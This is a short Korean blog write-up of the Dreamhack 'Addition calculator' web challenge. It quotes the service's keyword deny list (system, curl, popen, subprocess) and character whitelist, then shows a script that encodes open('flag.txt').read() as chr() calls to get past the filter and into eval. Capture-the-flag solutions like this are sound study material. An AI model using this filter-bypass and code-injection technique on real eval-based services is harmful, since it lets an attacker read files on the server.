본문 바로가기
카테고리 없음

[Dreamhack] Addition calculator (web,2)

by CH@3M 2024. 7. 9.

https://dreamhack.io/wargame/challenges/1021

 

Addition calculator

Description 덧셈 식을 입력하면 계산 결과를 출력하는 웹 서비스입니다. ./flag.txt 파일에 있는 플래그를 획득하세요. 플래그 형식은 DH{...} 입니다.

dreamhack.io

소스코드를 보면 다음 필터만 우회해주면된다.

def filter(formula):
    w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
    w_list.extend([" ", ".", "(", ")", "+"])

    if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
        return True
    for c in formula:
        if c not in w_list:
            return True

 

계산기 인걸로 보아, chr로 원하는 문자를 숫자로 입력해서 우회가 가능할 것 같았다.

그런데 cat flag.txt 문자열로 시도했는데 안되다가,, popen만 필터링하고 open은 필터링 하지않는 것을 알았고, open으로 한 번 시도해보았다. 다음 코드로 flag.txt를 open하는 코드를 chr(10진수) 형태로 변환하였다.

result = ""

for i in "open('flag.txt').read()":
    result += f"chr({ord(i)})+"

print(result[:-1])

그리고 eval 함수에 인코딩된 내용을 넣어서 실행했다.

 

반응형